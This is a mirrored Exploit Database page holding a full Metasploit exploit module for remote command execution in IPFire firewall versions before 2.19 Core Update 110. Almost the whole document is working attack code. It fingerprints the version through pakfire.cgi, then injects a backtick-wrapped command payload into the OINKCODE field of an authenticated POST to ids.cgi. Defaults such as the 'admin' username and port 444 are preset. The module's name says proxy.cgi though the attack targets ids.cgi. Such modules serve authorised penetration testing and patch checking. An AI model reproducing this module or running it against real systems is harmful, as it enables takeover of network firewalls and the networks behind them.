IPFire < 2.19 Update Core 110 - Remote Code Execution (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2017-07-24
• 类别：

  • remote
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/42369/

• ##
  ## This module requires Metasploit: https://metasploit.com/download
  ## Current source: https://github.com/rapid7/metasploit-framework
  ###
  
  class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  
  Rank = ExcellentRanking
  def initialize(info = {})
  super(
  update_info(
  info,
  'Name'=> 'IPFire proxy.cgi RCE',
  'Description' => %q(
  IPFire, a free linux based open source firewall distribution,
  version < 2.19 Update Core 110 contains a remote command execution
  vulnerability in the ids.cgi page in the OINKCODE field.
  ),
  'Author'=>
  [
  'h00die <mike@stcyrsecurity.com>', # module
  '0x09AL' # discovery
  ],
  'References'=>
  [
  [ 'EDB', '42149' ]
  ],
  'License'=> MSF_LICENSE,
  'Platform' => 'unix',
  'Privileged' => false,
  'DefaultOptions' => { 'SSL' => true },
  'Arch' => [ ARCH_CMD ],
  'Payload'=>
  {
  'Compat' =>
  {
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'perl awk openssl'
  }
  },
  'Targets'=>
  [
  [ 'Automatic Target', {}]
  ],
  'DefaultTarget' => 0,
  'DisclosureDate' => 'Jun 09 2017'
  )
  )
  
  register_options(
  [
  OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
  OptString.new('PASSWORD', [ false, 'Password to login with', '']),
  Opt::RPORT(444)
  ]
  )
  end
  
  def check
  begin
  # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
  # after a chat with @bcoles in IRC.
  res = send_request_cgi(
  'uri' => '/cgi-bin/pakfire.cgi',
  'method'=> 'GET',
  'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
  )
  
  if res && res.code == 200
  /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
  end
  if version.nil? || update.nil? || !Gem::Version.correct?(version)
  vprint_error('No Recognizable Version Found')
  CheckCode::Safe
  elsif Gem::Version.new(version) <= Gem::Version.new('2.19') && update.to_i <= 110
  CheckCode::Appears
  else
  vprint_error('Version and/or Update Not Supported')
  CheckCode::Safe
  end
  rescue ::Rex::ConnectionError
  print_error("Connection Failed")
  CheckCode::Safe
  end
  end
  
  def exploit
  begin
  # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
  # after a chat with @bcoles in IRC.
  vprint_status('Sending request')
  res = send_request_cgi(
  'uri' => '/cgi-bin/ids.cgi',
  'method'=> 'POST',
  'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
  'headers' =>
  {
  'Referer' => "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
  },
  'vars_post'=> {
  'ENABLE_SNORT_GREEN' => 'on',
  'ENABLE_SNORT' => 'on',
  'RULES' => 'registered',
  'OINKCODE' => "`#{payload.encoded}`",
  'ACTION' => 'Download new ruleset',
  'ACTION2' => 'snort'
  }
  )
  
  # success means we hang our session, and wont get back a response, so just check we get a response back
  if res && res.code != 200
  fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})")
  end
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
  end
  end